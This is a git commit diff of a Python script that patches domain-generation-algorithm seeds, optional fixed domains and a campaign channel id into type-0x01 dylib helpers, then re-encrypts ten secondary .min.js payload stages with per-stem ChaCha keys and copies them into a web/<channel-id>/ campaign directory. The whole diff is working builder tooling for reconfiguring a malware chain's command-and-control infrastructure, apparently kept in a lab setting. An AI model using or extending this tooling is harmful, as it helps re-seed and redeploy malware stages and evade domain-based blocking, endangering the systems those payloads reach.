This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
+36 -9
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
"""Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
from __future__ import annotations
@@ -8,9 +8,11 @@ import json
import shutil
from pathlib import Path
from _channel_patch import patch_channel_in_dylib, validate_channel_id
from _common import (
GROUP_DYLIBS,
LAB_ROOT,
ORIGINAL_CHANNEL_ID,
SECONDARY_KEYS,
SOURCE_ROOT,
ensure_tree_layout,
@@ -28,8 +30,8 @@ import _common
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
"Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
"in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
)
)
parser.add_argument(
@@ -42,6 +44,13 @@ def main() -> int:
required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--channel-id",
help=(
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
f"(default: keep {ORIGINAL_CHANNEL_ID})"
),
)
parser.add_argument(
"--root",
type=Path,
@@ -55,7 +64,7 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="also copy outputs into <root>/web/.../",
help="also copy outputs into <root>/web/<channel-id>/",
)
parser.add_argument(
"--deployment-domains",
@@ -72,6 +81,11 @@ def main() -> int:
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CHANNEL_ID
)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
@@ -86,16 +100,19 @@ def main() -> int:
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
set_tree_root(args.root, channel=channel)
ensure_tree_layout(tree_root(), channel=channel)
else:
_common.set_campaign_id(channel)
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
# re-bind after set_tree_root
campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"]
@@ -121,6 +138,14 @@ def main() -> int:
reporting_seed=rep,
label=path.name,
)
if channel != ORIGINAL_CHANNEL_ID:
data = patch_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CHANNEL_ID,
expect_hits=1,
label=path.name,
)
patched[group] = data
print(
f"group {group}: patched {path.name} "
@@ -137,7 +162,6 @@ def main() -> int:
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
# sanity: decrypt back
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
@@ -156,6 +180,7 @@ def main() -> int:
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
@@ -165,6 +190,7 @@ def main() -> int:
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply:
campaign_dir.mkdir(parents=True, exist_ok=True)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name
@@ -172,8 +198,9 @@ def main() -> int:
print(f"applied -> {dst}")
print(f"\nDone. Output: {out}")
print(f"channel: {channel}")
if not args.apply:
print(f"Re-run with --apply --root <project> to overwrite files under web/")
print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
return 0